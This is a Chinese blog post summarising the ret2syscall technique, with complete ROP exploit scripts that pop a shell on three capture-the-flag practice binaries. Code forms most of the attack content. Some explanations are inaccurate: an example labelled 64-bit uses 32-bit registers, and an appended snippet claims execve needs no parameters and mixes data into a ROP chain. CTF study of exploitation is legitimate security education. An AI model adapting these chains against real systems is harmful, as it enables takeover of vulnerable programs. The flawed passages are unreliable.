ret2syscall简单总结

主要是自己的简单的学习总结。

知识点

关于系统调用如何传递参数问题,即系统调用约定(syscall,int 80h,svc)_int 80h intel汇编用法-CSDN博客

ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)

主要是参数和调用号的传递

像ax这种的可以通过函数返回值来控制对应的值,比如read返回读取的字节数。

64位

syscall

syscall是64位的系统调用

调用号通过 rax传递

参数传递: rdirsirdxrcxr8r9

32位

int 80h

调用号: eax

参数: ebxecxedxesiedi


Intel 体系系统调用最多6个参数,都是通过寄存器传递,都不通过栈。

系统调用的返回结果在ax

Example

以64位为例

我们想调用

execve("/bin/sh",NULL,NULL)

eax : execve的系统调用号 0xb

ebx : 第一个参数,指向"/bin/sh"的地址

ecx : 第二个参数,0

edx: 第三个参数,0

一些例题

就是
ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)
里面提到的几道

[buu] inndy_rop

题目

checksec:
checksec
这里有个很关键的点:
在这里插入图片描述

从这里要意识到,这个程序是静态链接的(当然也可以file查看elf文件),所以ret2libc是失效了。

这道题用的就是文章提到的第一种方法,利用ecx[ecx] 来设置好写入地址以及写入的值

要注意这里查找gadget的方法: ROPgadget --binary=./pwn | grep 'pop dword ptr \[ecx\]'
在这里插入图片描述
然后是syscall调用execve
格式: execve(“/bin/sh”,0,0)

根据系统调用传递规则:

eax: 11
ebx: "/bin/sh"地址
ecx: 0
edx: 0
int 0x80

对应exp:

pop_eax_ret = 0x080b8016
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de769
pop_edx_ret = 0x0806ecda
pop_ecx_mem_ret = 0x0804b5ba # [ecx]
int_0x80 = 0x0806c943

bss = 0x80EAF80


payload = b''
payload += b'a'*0xC + b'b'*4 + p32(pop_ecx_ret) + p32(bss) + p32(pop_ecx_mem_ret) + b'/bin' \
		 + p32(pop_ecx_ret) + p32(bss+4) + p32(pop_ecx_mem_ret) + b'/sh\x00'

payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

sl(payload)

p.interactive()

[buu] cmcc_simplerop

题目
ubuntu16
checksec:
在这里插入图片描述
同样的,也是静态链接。

程序里面有read,而且bss段可写,那么就对应文章提到的第二种方法。
这里存在80字节的溢出。
考虑把返回地址改为read函数,再进行一次read,把/bin/sh 读入bss段。

然后就是后面syscall的时候要传 eax=11,但此时栈顶的三个元素是read函数的参数,所以先要pop三次清空栈顶。

最后还有一个点要注意,写入的字符串离返回地址 ebp+4的offset是0x20 而不是用IDA算出来的 0x14 + 4 = 0x18
这可以用gdb调试查看:
在这里插入图片描述
read函数原型

ssize_t read(int fd,void *buf,size_t count);
read(0,bss,8);

然后就是这里直接找ecx的gadget找不到,但pop_ecx_ebx_ret也能用

对应exp:

pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
int_0x80 = 0x080493e1
pop_edx_ecx_ebx_ret = 0x0806e850

offset = 0x20
read = 0x0806CD50
bss = 0x80EAF80

payload = b'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx_ret) # pop * 3
payload += p32(0) + p32(bss) + p32(8)
payload += p32(pop_eax_ret) + p32(11) + p32(pop_ebx_ret) + p32(bss) + p32(pop_ecx_ebx_ret) + p32(0) + p32(bss) + p32(pop_edx_ret) + p32(0) + p32(int_0x80)

sla("Your input :",payload)
sl(b'/bin/sh\x00')

p.interactive()

picoctf_2018_can_you_gets_me

题目
跟上面的题一样的,这里就记录下直接用 ROPgadget生成的ropchain的打法

ROPgadget --binary ./pwn --ropchain

在这里插入图片描述

对应IDA看下offset即可
24+4=28

直接用生成的ropchain

# Padding goes here
offsest = 28
p = b'a'*offsest

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80


io.sendafter("NAME!",p)

io.interactive()
  • 26
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ROP(Return-oriented Programming)是一种攻击技术,它利用程序的已有代码(即gadget)来构造攻击。在构造syscall调用execve的ROP时,我们需要找到一些适合我们需要的gadget,以及一个能够满足我们需求的内存区域来存储我们的ROP链。 以下是一个构造syscall调用execve的ROP的示例: ``` ; pop rax ; ret gadget pop_rax_ret: 0x000000000040089c ; pop rdi ; ret gadget pop_rdi_ret: 0x000000000040089e ; pop rsi ; ret gadget pop_rsi_ret: 0x00000000004008a0 ; pop rdx ; ret gadget pop_rdx_ret: 0x00000000004008a2 ; syscall gadget syscall: 0x00000000004005f6 ; address of "/bin/sh" string bin_sh: db '/bin/sh',0 rop: ; set rax to 0x3b (execve syscall number) pop rax ; ret 0x000000000040089c 0x3b ; set rdi to the address of "/bin/sh" string pop rdi ; ret 0x000000000040089e bin_sh ; set rsi to 0 pop rsi ; ret 0x00000000004008a0 0x0 ; set rdx to 0 pop rdx ; ret 0x00000000004008a2 0x0 ; syscall syscall ``` 在这个例子中,我们使用了以下gadgets: - pop rax ; ret:弹出栈顶元素到rax寄存器中; - pop rdi ; ret:弹出栈顶元素到rdi寄存器中; - pop rsi ; ret:弹出栈顶元素到rsi寄存器中; - pop rdx ; ret:弹出栈顶元素到rdx寄存器中; - syscall:执行系统调用。 我们的ROP链的第一步是将rax寄存器设置为execve系统调用的编号(0x3b)。接下来,我们将/bin/sh字符串的地址传递给rdi寄存器。然后,我们将rsi和rdx寄存器都设置为0,因为execve系统调用不需要任何参数。最后,我们使用syscall gadget来执行系统调用。 请注意,我们需要在内存中准备/bin/sh字符串,因为execve系统调用需要它。在这个例子中,我们将/bin/sh字符串存储在名为bin_sh的标签中。在实际攻击中,这个字符串可以存储在任何我们可以访问的内存区域中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值